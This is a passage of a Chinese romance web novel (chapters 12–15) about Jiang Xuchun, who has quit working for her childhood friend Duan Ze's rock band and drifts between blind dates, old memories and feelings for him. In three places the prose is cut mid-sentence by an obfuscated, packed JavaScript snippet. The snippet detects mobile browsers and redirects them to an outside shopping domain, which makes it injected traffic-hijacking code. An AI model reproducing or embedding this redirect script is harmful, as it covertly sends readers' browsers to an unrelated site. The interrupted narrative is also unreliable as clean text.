他抓着江绪春的胳膊将她带出酒吧,一边看路,一边还得在她撞到人时,替她说声抱歉。 小城市的公交停运很早,两杯酒加一碟小食,也已经掏空了两人的全部积蓄。 好在酒吧离彼此的家不算远,一路走回去顺便醒醒酒,说不定到家被骂的程度还能轻点。 只是还没走出一条街,段则就已经受够了身边这个不倒翁。 明明看着挺瘦弱一姑娘,这会儿像头牛似的横冲直撞,一会儿撞花坛一会儿撞他,还逞强摆摆手说不用他扶。 段则沉思片刻,当真手一松,就看她一头扑进花坛里,可怜今夏刚长出的漂亮小花,被她压塌了一大片。 “哎呀。”江绪春尚且还能感受到尴尬,她扶着坛边站起,“突然脚滑了。” 段则轻叹一口气,走上前,背对她躬下身。 “什么意思?”江绪春不明白。 “上来,我背你。” 江绪春没有客套,三两下爬了上去,六月的晚风尚带着凉意,而他的背脊温暖又宽阔。 这是她第一次体会一米八多的视野,地面看起来好远,空气都清新了几分。 唯一的问题,大概是那时候的段则太瘦了,肩胛骨硌得她好疼。 “疼。”江绪春不满地在他背上扭来扭去,躲过左边那片,右边还有。 “别动。”段则喝她。 “你太瘦了。”江绪春嘀咕。 “那怎么办?” “唉。”江绪春将他环紧了些,试图在两片骨头间求生,“你多吃一点吧。” “知道了。” 好不容易安分下来不乱动,江绪春又实在是闲得无聊。周围的景致已经看了千万遍,就算换个角度也逐渐失去兴趣,她歪着脑袋靠在段则肩上,盯着他闪闪发光的耳钉出神。 看着看着,手就不安分起来,一把捏住一枚耳钉,好奇地转了转。 “嘶。”段则倒吸一口凉气,“干嘛呢你。” 江绪春跟没听到他的话似的,指头动作着又摸向了下一个。 “别动,小鸭。”段则试图制止。 可江绪春显然已经玩上瘾了,左耳转完又去转右耳,这blingbling的小玩意,转起来怎么这么有意思。 可怜段则两只手托着她的腿,实在没能长出第三只手制止她。好心劝慰和厉声责问都无果后,他叹了口气,在将她抛下去和自甘忍受间,咬牙忍痛选了后者。 “好漂亮。”江绪春一边转一边说,“闪闪的。” “你有病吧。” “哇,这个比较好转。” “等你打了耳洞你完了。” “哇,我可以一只手同时转两个欸。” “你是脑残吗江绪春。” …… 其实江绪春不太记得自己那晚为什么要转耳钉,但她记得后来,段则的八个耳洞全部红肿发炎了。 段则的耳朵明明很薄,那段时间都快肿成弥勒佛。江绪春在他家看到这一幕,一边心怀愧疚,一边没忍住笑出声,下一秒,迎面飞来一只抱枕。 她顺势接过抱枕垫在身后,讨好地笑了笑:“不好意思,下次不会啦。” “还想有下次?” “如果你再打耳洞的话……啊!”江绪春玩笑开到一半,耳垂被人一把捏住,吓得她尖叫出声。 这才刚放上去,就开始鬼哭狼嚎,段则犹豫着想收回手,又实在气不过,最后还是拧了一把才松开。 江绪春吱哇乱叫了半天,却没想象中疼,不由得一愣。 “要不……”她转头露出另一只耳朵,“这边也给你揪一下?” 段则懒得理她,抓起另一只抱枕拍开她的脑袋:“神经。” 想来一切已经是九年前的事了。 现在的她足够稳重,再做不出那种荒唐的事。 两人拣了处靠窗的位置,桌上与时俱进,贴着扫码下单的二维码。 “滴”一声,江绪春还在翻看酒单,看见已点列表里多了一样。 点开一看,是段则点的一杯螺丝起子。 江绪春想想,最终点了一杯长岛冰茶。 很奇妙,两人对这两款酒并没有多钟情,去别的酒吧喝酒时,几乎不会点这两杯。 唯有在这里,像是约定俗成的一样,永远都是这两杯。 还是熟悉的味道,江绪春抿了一口,扭头看向窗外街景。 酒吧位置略偏,时间不算晚,但街道上来往行人很少,她的目光定在一只横穿马路的猫身上,听见耳畔传来段则的声音: “今天是谁惹你心情不好了?” “你。”她继续看着猫说。 “胡扯。” “为什么不能是你?”眼见猫平安走到马路那一头,江绪春终于将目光移向他,“改东西就是很烦啊。” “你不是那样无理取闹的人。” 江绪春鼻子突然一酸。 她选择把它归咎于酒精。 她低头又喝了一口酒,盯着玻璃桌板上倒映出的他的影子,喃喃着:“我又相亲失败了。” “又?” “嗯,上周还相过一个。” 段则沉默少顷:“你们吃饭时闹不愉快了?” “倒也没什么大问题,只是……我对他好像没什么眼缘。” “有没有眼缘不是一般第一眼就能确定吗?” “是啊。” “你们之前聊那么好,我还以为你对他很有眼缘。” 江绪春拇指摩挲着杯壁的水珠,轻轻摇摇头:“没有。但是,我还是想试试看,看自己能不能接受他。” “你就这么急着谈恋爱么?”段则皱了皱眉,“干嘛这么勉强自己。” “我都27了……又不是17岁。” “你就算是77,那也不该凑合啊。” “说的好听。”江绪春小声嘀咕。 “所以,你选择辞职,就是因为觉得和我工作太不稳定,耽误你谈恋爱?” 江绪春抬眼看了他一眼,又匆匆别开。 “嗯。”她嘴犟道。 “然后呢,谈上恋爱后你想做什么?” “结婚啊,大概还会生一个孩子。” “我是问工作。” “考公吧。” “考不上怎么办?” 江绪春很想骂他尽说晦气话,但想来这确实是该考虑的事。 想做什么呢,其实连考公也不是她想做的,她只是把它当成一个漂亮的借口,试图拖延推脱些什么。 想来想去都想不到,江绪春选择放弃:“我不知道。” “那我觉得眼下比起相亲,你显然还有更重要的事需要考虑。” 江绪春愤愤地看他一眼,她不喜欢段则用这种好像教人做事的语气和她说话。 但坦诚来说,段则确实比她有规划的多。 他从小就喜欢音乐,高中开始玩摇滚,大学组乐队,毕业后便坚定了要走这条路。其间乐队成员来来往往,唯有他是不变的主心骨,一路从地下唱到地上,从livehouse唱进体育馆。 江绪春愿意待在他身边的原因之一,正是喜欢他逐梦时的那股热切劲儿。 她的人生太平庸无趣了,而被他的光芒照耀着,会误以为自己也是很闪耀的人。 但她想走出来,不想永远做那个只能借光的月亮。 “你不觉得你管太宽了吗?”她说。 段则不置可否地一挑眉,仰头喝了口酒,似是不想和她多争辩。 气氛陡然降至冰点,两人都闷不做声地一口口灌酒。一杯喝完,江绪春又点了半打啤酒,一支支对瓶吹。 而段则喝完那杯就没再喝,只是始终沉默地看着她。酒吧灯光昏暗,衬得他的眸光颇为深沉,甚至有那么点儿悲伤—— 对于后者,江绪春觉得那只是酒醉后的幻觉。 这些年锻炼下来,其实江绪春的酒量还不赖,起码不是一杯长岛冰茶就能灌倒的程度。 但今天喝的好像是多了些,也可能是情绪作祟,起身离席时,她脚步不由得一个踉跄。 路过的侍应生眼疾手快扶了她一把,她醉眼朦胧,都没看清人家的脸,就笑盈盈地开口:“你好帅呀。” “谢谢老板,有空来找我开台。”侍应生向她抛去一个飞吻。 段则将伸到一半的手抄回口袋,沉默地跟在她身后向外走。 江绪春就这样摇摇晃晃地走出酒吧,冷风一吹,她更觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202907|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得脸上燥热得厉害,一边走,一边不住搓着脸。 没走出几米,段则一把抓着她的胳膊拽停了她:“你要去哪。” “回家啊。” “打着车呢。”段则向她晃了下手机屏,“站这儿等会儿。” “哦。” 可江绪春压根站不住,她像动物园里有刻板行为的动物一样,绕着门口的雕塑一直打转。 她觉得好难过,好憋屈,浑身上下每个细胞都躁动着,又不知缘何而起。 段则站在不远处,看着她转了快有十分钟,终于放弃地按灭手机。 小地方网约车本就没那么多,此际已逾凌晨两点,app上始终没有司机接单。 “打不到车。”他走上前,“我们走回家吧。” 反正也不是第一次走这条路了。 江绪春对此没什么异议,她刚准备走回大道上,“咚”一声,撞上她绕了半天的雕塑。 她苦涩地捂着发痛的额头,在原地怔愣几秒,突然就蹲下身开始哭。 一只微凉的手忽而捧住她的脸。 江绪春茫然抬头,看见段则不知何时蹲在她面前,看向她的眼神好是无奈。 “我错了,小鸭。”每次喝完酒,他的嗓音都很哑,像低音提琴。 江绪春不说话,只是一直一直盯着他。 “别哭了。”他用拇指帮她揩掉眼泪,“你下次一定会遇到有眼缘的人。” 话音方落,江绪春哭得更厉害了。 段则愈发不知所措。 江绪春不是一个爱哭的人,尤其是成年后,她掉眼泪的次数屈指可数。他常常觉得,她的情绪要比自己的稳定得多,无论遇到什么事,她都能沉静应对。 因而,他不明白她为什么突然要离职,也不明白她此刻为什么蹲在这里哭。 哭着哭着,江绪春渐渐觉得没劲,她拍开段则无用的手,横臂狠狠在自己眼上抹过一道,而后试图起身。 站一半,醉酒加低血压,令她险些一头栽倒。 段则一把抓住她,她的轨迹由后仰变作前倾,不由自主扑进他怀里。 ……这人的胸膛也没比雕塑软多少。 江绪春郁闷地站稳身子,看见段则转了个身,背对她弯下腰来:“上来。” “嗯?” “我背你回去。”他不确定要是让江绪春走回去,这一路得出多少意外。 江绪春定定地看着他的背脊,冷风吹过她脸上未干的泪痕,帮她将面庞降了些温度,也让她的头脑逐渐清明。 她感觉自己的酒有一点醒了,或许并不需要这份帮助。 但她还是伸长手臂踮起脚,像九年前那样,爬上了他的背。 段则稳当地托住她的腿,慢慢直起身来,一步步向前走去。 小城市发展很慢,这道的景物变化不大,她靠在他肩头,用比平常高了一截的视野看着周围,恍惚间好像回到了九年前。 倒还是有差别的,比如此刻他只戴了一对耳钉,而他的背脊也比从前宽阔不少,她再也不会被他的肩胛骨硌到满背打滚。 不过,当年并不是他最瘦的时候。 大概是大学毕业第二年,也是陆鲨最艰难的时刻。初期那股子不管不顾的冲劲儿已经过去了,乐队长期入不敷出,未来难测,乐队四人常常聚在一起开会,从开始的讨论发展方向,到后来开始考虑乐队存亡。 众人的心都逐渐飘摇,唯有段则是最坚定的那个,但他还是没能拦下鼓手的出走——那个第二位加入陆鲨的人。 那时候的段则长期吃不下饭,每天心事重重,除了脖子不够前倾,瘦得简直像ysl最爱的秀场模特身材。 江绪春担心得要命,怕他哪天会猝死,每天追在他身后督促他吃饭,而段则不仅不听话,还给她转了一笔钱: “你要不另外找个工作吧,我可能快发不起工资了。” 江绪春气得不行,带着一袋面包杀到他家,掐着他的脸颊,先往他嘴里塞了一块面包,然后说:“我不走,你也不许走。工资你可以拖着,但我想看你成为大明星。” 段则囫囵着咽下,太久没吃东西,吞咽时喉口干涩得厉害。 “哪那么容易。”他说。 “是不容易,可是,我跟你干了一年多,都没有应届生身份了,你得对我负责。” “我会努力赚钱的,到时候再转给你,大不了给你写个欠条。” “钱钱钱,我在乎的是钱吗?”江绪春又给他塞了块面包,“你别说了,我不走。” 还在撕下一块面包时,她看见段则眼红了。 察觉到她的目光,段则一把上前抱着她,强行用自己的胸膛挡住她的视野。 江绪春摸索着将手里的面包塞进他嘴里,而后擦擦手指,回抱住他。 那时候的段则真的好瘦好瘦,明明是快一米九的大高个儿,被她环抱着还有好大一截余量。她轻轻抚过那凸起的一节节脊骨,当时就一个想法,无论如何,她都不会离开他。 可能年轻的时候,人确实会比较冲动。冲动地做一些决定,冲动地许一些诺言。 此刻,那原本瘦削的背脊变得宽阔,再不能被她轻松环抱。 而她俯在他背上,想的全是两个多月后,她就可以离开他了。 13. 第 13 章 酒醒后,两人的关系恢复如初。本来也没什么大矛盾,彼此都默契地不提那晚的事。 母亲还想着给她张罗第三轮相亲,被江绪春拒绝了,说自己想缓和一段时间。 刘蓉想想,最终没有坚持,她摸摸女儿的头发:“这些年在外闯荡是不是很累,辛苦了,妈也只是想你有个好的归宿。” 江绪春没说话,一把扑进母亲怀里,赖着她抱了好久。 什么算是好的归宿? 从前江绪春觉得是功成名就,但她看陆鲨都这么出名了,段则好像反而没有之前快乐,她渐渐觉得,一个平凡安定的生活或许更好。 就像眼下坐在她面前的申涟一样。 回兴榕那天,江绪春有发过一条朋友圈,感慨自己终于回家了。申涟在下面留言,说好想她,两人什么时候见一面。 最终,日子被定在了今天。 两人是初中同班同学,高中同校不同班,关系介于好朋友和普通朋友之间。 申涟大学毕业后便回到兴榕,成功考公上岸,又找了个同在体制内的对象,去年刚生了个儿子,算是小城市里的人生赢家模板。 她的身材比之前丰腴了几分,眉眼里是一种充满幸福的安定祥和,她笑眯眯地给江绪春晒儿子的照片,嗔怪她太忙,都没能去儿子的周岁宴。 那时候江绪春正在忙巡演,几乎是睁眼就换一座城市,别说周岁宴,连她老爹的生日宴都没能参加。 “我错了啦。”江绪春忙赔笑道歉,“小浩好可爱哦,长得和你真像。” “是吧,就是这性子估计随他爸,可爱动了,天天折腾得我不得安宁。”申涟嘴上是埋怨着的,眼里的爱意都快要满溢。 两人聊了会儿育儿经——虽然基本是申涟在说,江绪春在听——话题渐渐转到了工作上。 申涟:“真羡慕你,能每天飞来飞去,哪像我,连个国都出不了。” “不能出国?为什么?” “你不知道么,我们护照要上交,出国得报审批。” 江绪春确实不知道,她半张着嘴,一时不知说什么好。 其实她对出国这件事兴趣缺缺,虽然没人收她护照,但她拢共也就出过两次国。 一次是大学毕业,宿舍四人相约来一场毕业旅行,最终目的地定在了泰国。 一行人说着蹩脚的“萨瓦迪卡”,吹着海风吃着榴莲,坐在突突车上放声高唱,一路过711就走不动道。 还有一次则是去年,段则有段时间心情不好,问她愿不愿意陪自己出国散心。 事发突然,两人来不及申签证,便去了可以落地签的富国岛。 这是座商业化程度不高的小岛,可玩可逛的景点不算丰富。这倒遂了段则的意,他没什么心情到处游览,只想躺在沙滩椅上放空自己。 除了觅食,两人很少出酒店,大部分时间都待在私人沙滩上。段则会游泳,但三天他只下了一次水,不到半小时就上岸了,浑身湿漉漉地走向她,拿起毛巾随意擦了擦。 扬起的水珠溅到她身上,江绪春不自在地缩了下身子,目光瞥到他漂亮的肌肉线条,下意识将脸别到另一边。 为了应付高强度的工作,签约公司后,段则逐渐养成了健身的习惯。 由于初衷只是为了提升体力,他的肌肉并没有练得很大块,衣服一穿,偶尔还会让江绪春幻视在livehouse演出的那个单薄少年。 来到海岛自然要吃海鲜,段则虽然没有海鲜过敏,但他嫌有腥味,不爱吃。 可江绪春爱吃,于是明明是她陪段则散心,结果大部分时候,都是她一个人在吃蟹吃虾吃鱼,而段则在旁边默默点一碗pho看她大快朵颐。 “不好意思哦。”刚扒开新一只螃蟹壳,江绪春突然良心发现,忙里偷闲对他说。 段则冲她摆摆手,话都懒得和她说一句。 那是陆鲨签约公司的第二年,名气越来越大,随之而来的非议和压力也越来越大。 嘲讽他、辱骂他,他的身份证和毕业照被传得满天飞,更有甚者对他发出死亡威胁。 那些污言秽语也许关掉手机可以隔绝,但源源不断的工作没法推脱。 公司帮他们接了很多和音乐无关的活动和广告,作为队伍主心骨,段则每天脚不沾地,连静心创作的时间都没有,却还得完成公司的新专计划。 也就是最近,段则终于讨得几天假期,抓着她就飞到了这里。 ……然后天天看着她吃成一只小猪。 小猪用餐完毕,终于回归人形,非常淑女地把纸巾折成小块擦擦嘴,冲他温婉一笑:“我们回去吧。” “嗯。”段则接过老板递还的信用卡起身。 “明天我们去吃披萨吧。”江绪春说,“听说这里有家披萨很好吃,你就不用一直坐在旁边看我吃了。” “我没什么胃口。”段则说,“吃什么都随便。” 江绪春眼珠子一转:“那要不……” “明天还是吃海鲜吧。”段则帮着她接了下半句。 被说中的江绪春不好意思地干笑两声:“好不好意思哦,明明是为了来陪你散心的。” “这不是正散着么。” “可是你都没吃什么好吃的。” “没关系,我喜欢看你吃东西。” 大概因为太累了,段则这些天的说话语气一直淡淡的,包括这一句。 江绪春下意识抬头看他一眼,得到他回赠的一眼,以及一句话:“看什么。” “我吃东西有什么好看的。” “不知道,可能我这个人爱好比较特别。” “……”江绪春皱着眉头,不确定是不是在骂她。 平心而论,段则真没骂她。 他确实喜欢看一些生物吃东西,比如江绪春,比如家里那只叫小狗的猫。 每次给小狗添完粮,只要有时间,他都会坐在不远处默默看它吃完。 小狗吃饭会微微眯起眼,神情专注得不得了,粉色的小舌头舔得飞快,还特别爱砸吧嘴。 要是有人砸吧嘴,那他绝不会和对方吃第二顿饭,但是小狗砸吧嘴,他怎么听怎么可爱悦耳。 江绪春没有砸吧嘴的习惯,但她吃东西同样很认真,尤其是吃到爱吃的。 她会满怀耐心地揪出甲壳角落里藏的每一块肉,每次掀开壳,要是里面的肉又多又饱满,她的眼睛是真的会亮起来,同样的,要是开了个空壳,又会一秒就闷闷不乐。 每掀开一块,段则比她还要期待,她期待里面鲜美的肉,而他期待她的表情。 江绪春对此一无所知,她只是一路揉着有些撑的肚子,同他走回酒店。 两人只开了一间房,两张单人床。 早年间陆鲨穷得响叮当的时候,每次去外地演出,为了节省经费,都是江绪春和段则一间房,另外三个人一间房。 两人从小玩到大,江绪春对他的人品还是很放心。住过这么多次,也确实什么都没发生,偶尔住到那种透明浴室的酒店,每次有人洗澡,另一个都会很自觉地下楼去大厅等候。 好在这间酒店的浴室不是透明的,江绪春先一步洗完澡,躺在床上翻伴手礼攻略,听着不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202908|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远处传来的“哗哗”水声。 看一半,门铃响了,原来是酒店送来的夜宵,两杯鸡尾酒和一碟水果。 洗完澡出来的段则手里还擦着头发,看见茶几上的酒,随口问了句是什么。 “酒店刚送来的,等会儿我们去露台上吃吧?” “好。” 宽敞的木制露台上,放着一张藤编餐桌,还撑着一把此刻用不上的遮阳伞。 夜晚的大海一片墨黑,隐进了夜色里,唯有一波波海浪声在回荡。 江绪春抿了一口酒,甜津津的,一股浓郁的果香味儿。 “明天就要回去了。”她打破了沉默。 “嗯。” “你这几天休息得好吗?” “还行。” 江绪春:“你有没有想过和公司谈一谈,将工作重心更多地转移到音乐方面。” 而不是跑各种歌都不用唱的站台活动。 公司甚至还考虑过给段则接一档生活类综艺,被他毫不犹豫地拒绝了。作为新成员,陆鲨在公司的话语权其实不算大,但段则态度太坚决,公司怕强行推他上节目反惹是非,最终只好作罢。 “他们几个想趁着这个风口,多赚一点钱。”段则说。 江绪春能理解另三位成员的想法,梦想要有,面包也要有。好不容易那么多年苦日子熬过来了,当然不能放过现在的赚钱机会。 更何况,每次的采访问答,几乎都是段则在准备,他们只要站在旁边笑一笑,就能拿到钱。 江绪春不知该说什么了,好像说什么都是徒劳。 彼此又开始沉默地喝酒,她喝得快些,段则喝得慢些,耳边除了海浪声,偶尔还能听见他吞咽的声音,很轻的一声,对着她心上突如其来地撩拨一下。 江绪春没有醉,但是面庞有些发热,她抬手想去叉一块冰凉的水果,目光无意间瞥向他。 今晚的月亮躲在云层后,露台上其实有一盏落地灯,但两人没开,就这么黑咕隆咚地坐在这里。 段则沉默地看着墨黑一片的大海,看不清他的眼睛,因此也没法读出多少情绪,但隐约能看见他的嘴唇亮晶晶的,因为刚喝了一口酒。 鬼使神差的,江绪春盯着那黑暗中的唯一一簇亮光出了神。 看着看着,她竟然想亲他一口。 这种想法太可怕,可怕到让她一秒清醒,水果也不吃了,撂下叉子就往房间走。 余光里,她能看见段则回头看了她一眼,但没说什么。 江绪春快步冲上自己的床,用被子将自己裹了个严实,狭小闷塞的空间里,她能清晰听见自己超速的心跳声。 她微微颤抖着,不管是睁开眼还是闭上眼,眼前反反复复出现那一抹光亮,这太可怕,她决心自己以后要戒酒。 几分钟后,段则回来了,还将托盘带了回来,顺手放在茶几上。 “睡这么早?”看见她蒙在被子里的背影,他问。 “嗯。” “晚安。”他说着,关掉了灯光,只留他床前一盏小小的夜灯。 江绪春仍旧在细密地颤抖,也可能是心跳的幅度太大,带动着她的身体没法安定。 她能听见他掀开被子的声音,还有指尖在床头柜摸索着拿起手机的声音,突然响起的手机提示音让他歉疚地倒吸一口气,紧随其后的微小按键音,应该是打开了静音模式。 这些声音自背后而来,穿过被子筑成的脆弱堡垒,团团围困住她。 这太可怕了。 今晚她不止一次这么感慨。 一定要将它消灭在襁褓里。 14. 第 14 章 聚会结束,申涟贴心地开车将她送回了家。 车是去年新换的,因为家中添了一员,夫妻两便卖了之前的轿车,换了这辆宽敞的SUV。两人还计划着买套学区房,不过小浩才一岁,还能暂时先观望观望。 “唉,生了孩子要考虑的就是多。”申涟故作惆怅地叹了口气。 江绪春没有孩子,连婚姻都八字没一撇,但她也要考虑很多事,关于自己渺茫的未来。 她盘腿坐在飘窗上,手里捧着母亲切好的一盘苹果,被贴心切成了小兔子的形状。小时候她不爱吃水果,刘蓉便把水果切成各种卡通形状来哄她吃,这个习惯一直持续到现在。 长大后的江绪春,从母亲手里学到了这门技术,并学以致用。 犹记得陆鲨初期,有次和人谈合作时,江绪春便这么切了一盘漂亮的水果。 端上桌时,一直端着脸的对方眼睛一亮,笑盈盈地看向她,夸她手真巧,以后一定会成为一个好妻子、好母亲。 因着这盘水果的破冰,后续两方谈话的氛围还不错。 奇怪的是这次合作最终没成,江绪春好奇地去问段则原因,他却驴头不对马嘴地说:“下次你买个果盘就行了,不用这么大费周折。” “你知道一个漂亮的果盘有多贵吗?”要不是初期的陆鲨穷得叮当响,她也不至于一人顶三人用,什么细枝末节的事都要亲力亲为。 “你的精力更值钱。”段则说。 后来,段则提高了这方面的经费,从他后续又找了两份新兼丨职来看,估摸着全是他一人掏的腰包。 明明他在队里出钱出力最多,但分账时,从来都是四人平分。所以江绪春有时觉得签了公司反而更好,段则是一个好老板,但好人不适合做生意。 而此刻,江绪春叉了一块兔子苹果,心不在焉地一边吃,一边回想着下午和申涟的闲聊。 一份稳定的工作,一位同频的爱人,一个可爱的孩子,在这座节奏缓慢的小城市里,过着重复但安定的每一天。 江绪春觉得这应该很幸福,从申涟的表现来看,她确实感觉很幸福。 明明这就是江绪春回到兴榕想追求的,但听着申涟向她细细描述了这一切后,她居然没有感受到一丝憧憬。 她不喜欢重复且没有挑战性的工作,不想永远被困在一个地方,不愿过一眼能望得到头的生活—— 哪怕一路都是鲜花,可没有棘刺的玫瑰,那就不是玫瑰了。 是她对幸福的认知出了什么偏差吗? 可她好像也无法想象段则去过这样的生活。 那么起码,像她这样的怪胎不止一个。 江绪春拨弄着手机,不自觉又点进了和段则的对话框。 聊天记录还停留在前天,段则问她酒醒了没,有没有不舒服,而她则为自己的酒后失态道了歉,他说没关系,她便没再回。 她的指尖戳着那条空白的输入框,反复将键盘唤出又收起。她想说段则我现在好迷茫,你可不可以陪我聊一聊,但最终她只字未写,“咔哒”将手机熄屏。 明明那晚正因为他教导的语气有了龃龉,再主动让他指点迷津,那也太自相矛盾。 刘蓉的声音恰在此时从门外响起,让她少吃点水果,留点肚子准备吃晚饭。 江绪春应了一声,端着盘子走出卧室,开始帮着盛饭。 “你爸在阳台上看到小申送你回家了,你怎么也不请人家上来坐一坐,刚好吃个晚饭。”甫一落座,刘蓉便说。 “她急着回家照顾孩子呢。” “也是,这个年纪的孩子离不开妈妈。”刘蓉顿了顿,“你呢,什么时候也生一个,我给你养。” 江绪春张了张嘴,最终只敷衍地说了句“不知道”。 “本来看你终于同意相亲,我还挺高兴的,但这相一个黄一个也不是个事儿啊。”刘蓉道。 “那怎么办,要不下次一见面,我就领人家上民政局。” “欸,我看这行。”江志远在旁乐呵呵地插了一嘴。 “吃你的饭去。”刘蓉瞪他一眼,再次看向她,“你到底喜欢什么样的男孩子,你和妈说清楚,我也好帮你找呀。” 江绪春盯着空气想了好一会儿,最后一个词也没憋出来,只好烦闷地摇摇头,低头继续吃饭。 “段则。” 吃完饭刚回房间,江绪春便果断给段则打了通电话。 管它什么面不面子,她在段则面前丢过的脸还少吗。 “嗯?”段则那头好像在忙,漫不经心地应了一句。 “我好烦。” “烦什么?” “不知道,就是烦。” “啪嗒”,听着像是笔记本被合上的声音。 “那出来吃顿饭,慢慢聊。”段则说。 “我刚吃完。” “那你看着我吃。” “行。” 眼见闺女又全副武装准备出门,刘蓉好奇地问了一句:“打算去哪?” 江绪春下意识要脱口说出段则的名字,却生生又咽了回去。 以两家的熟悉程度,就算知道她去找段则,刘蓉也绝不会多说什么,但她今晚偏偏就是不想说。 “之前申涟儿子的周岁宴我没去,打算把礼物补送给她。” ——明明在周岁宴之前就快递过去了。 “哦,好。”女儿鲜少撒谎,刘蓉便也没怀疑,“早点回来。” 两人去了段则刚回兴榕就想去的陈家饭屋,这会儿二中学生们都在上晚自习,店里只有他们一桌客人。 太过安静有时候也不适合谈话,毕竟说点什么服务员都听得一清二楚,段则便开了个二楼包厢。 包厢有一百块低消,犹记得念高中时,江绪春特别羡慕能去包厢的,一般像他们这种学生,也就生日聚会之类的,才舍得上去“奢侈”一把。 如今回望,当年的“奢侈”体验原来只要一百块。 话虽如此,在这个均价二十的平价小店,想一个人点满一百也不太容易。 段则将菜单翻了一转,点了个最贵的寿喜锅——价值60元巨款,又点了两杯饮料里最贵的牛油果奶昔,刚好凑满100。 寿喜锅被端上后,江绪春的眼睛几乎都黏在了上面。 学生时代的她一直非常好奇它到底长什么样,可惜因为它的价格,到毕业了也没舍得点上一次。 “天呐。”江绪春双手合十作星星眼,“你居然点得起寿喜锅,好羡慕你哦。” 好像一踏进这里,自己便回到了穿校服的青葱岁月。当年每每有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202909|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消费了超过众人能力的东西,大家便会这么揶揄。 “洒洒水啦,一天的零花钱而已。”段则瞬间了然,陪着她演戏。 虽说这个寿喜锅价格不菲,但仔细一看,里面也就几块肥牛和蟹柳,剩下的都是些蔬菜和豆制品,实在很不值。 江绪春狠狠祛了魅,又尝了口牛油果奶昔,一股香精味。 奇怪,小时候的味觉是不是真有点问题,当年怎么会这么喜欢来这里吃饭。 或许,喜欢的不是这里的饭菜,只是喜欢和朋友一起聚餐。只要不吃食堂,吃什么都很开心。 同桌那时候为情所困,常常拉着她来这里诉苦。而也是在这里,段则向她讲述了自己未来的梦想。 夏季校服是一件水蓝色的衬衫,少年瘦削的臂膀在袖口下晃荡。段则的小卷毛每月固定上理发店拉直一次,留着一个当年很流行,但现在回想有点蠢的齐刘海。 热气缭绕间,他的眼睛因认真而闪光,他说他想在摇滚这条路上一直走下去。 彼时的江绪春连大学专业都没想好,她懵懂地点了下头,说好呀我支持你。 可能人总会以己度人,对未来尚且迷茫的江绪春以为,他就是随口一说。就像小时候在作文里写的,长大后要当科学家宇航员,听听就过了。更何况,还是这么个在大人眼里“不务正业”的梦想。 可当年写下那些作文的孩子们,有些后来真的成了科学家宇航员,而段则也真的站在了越来越大的舞台上。 不管是玩摇滚的还是听摇滚的,总喜欢提起一个词叫“摇滚精神”。 江绪春一直不甚明白,这个所谓的摇滚精神到底是什么。 但此际回想起这件事,她觉得段则挺摇滚的。 江绪春将甜腻的牛油果奶昔推远了些,透过缭绕雾气,用余光打量眼前的人。 她突然很羡慕段则。 不是羡慕他的名气和财富,而是羡慕他在那时候,就知道自己以后该干什么。 不像她,过了十年也没想出个答案。 段则咽下嘴里的乌冬面,端正地看向她:“说说吧,在烦什么?” “在烦……考公失败怎么办。”她还是没和盘托出。 “还没考就打退堂鼓?” “这不是你那天问我的吗?” “……我错了。” “我后来想了想,觉得你说的有道理。”江绪春说,“如果我考不上公务员,你觉得我还能做什么?” “你的人生,你问我?” “不能问吗?” “可以啊。”段则喝了口奶昔,“你要是问我,那我肯定觉得你适合回到陆鲨。” “跟你干一辈子吗?” “我是打算唱一辈子的。” 真好啊,他把自己的一辈子都想好了。 如果她没有辞职的话,这一辈子的规划里本来也有她吗? “如果我老了,干不动了怎么办?”江绪春说。 “我养你咯。”段则说,“像你这种元老级员工,福利待遇肯定是最好的。” 江绪春手忙脚乱,抓过不远处的奶昔喝了一口。 冰凉的液体顺着食道滑进胃里,让她冷静了些许。 她承认自己心动了一瞬,在他说出后半句之前。 15. 第 15 章 冷静下来后,江绪春摇摇头:“别开玩笑了。” “没开玩笑。”段则顿了顿,“不过,你急什么,这不是才过半个月么,你还有两个半月可以考虑自己的未来。” “段则。”江绪春垂着眼,像在对桌面说话,“你当初有没有想过,如果陆鲨失败了怎么办?” 他真的从来没有迷茫过吗,有没有那么一刻,他想过要去当一个朝九晚五的上班族? 江绪春以为自己会等到一段丰富的心路历程,等她抬眼重新看向他,却见段则笑得很无奈:“它不是一直在失败吗?” 哦,是的。两次重组,屡被合作方退货,有段时间段则穷到快要去网丨贷,还是段咏竹得知此事后,默默支持了他一笔钱。 常有看不惯陆鲨的人,会说他们的成功太容易,那是因为段则从不在大众面前诉苦。 他不喜欢把过去的落魄经历当作谈资,哪怕这种反差能吸引来许多流量,默许公司出卖他的脸,已经是他对陆鲨做出的最大让步。 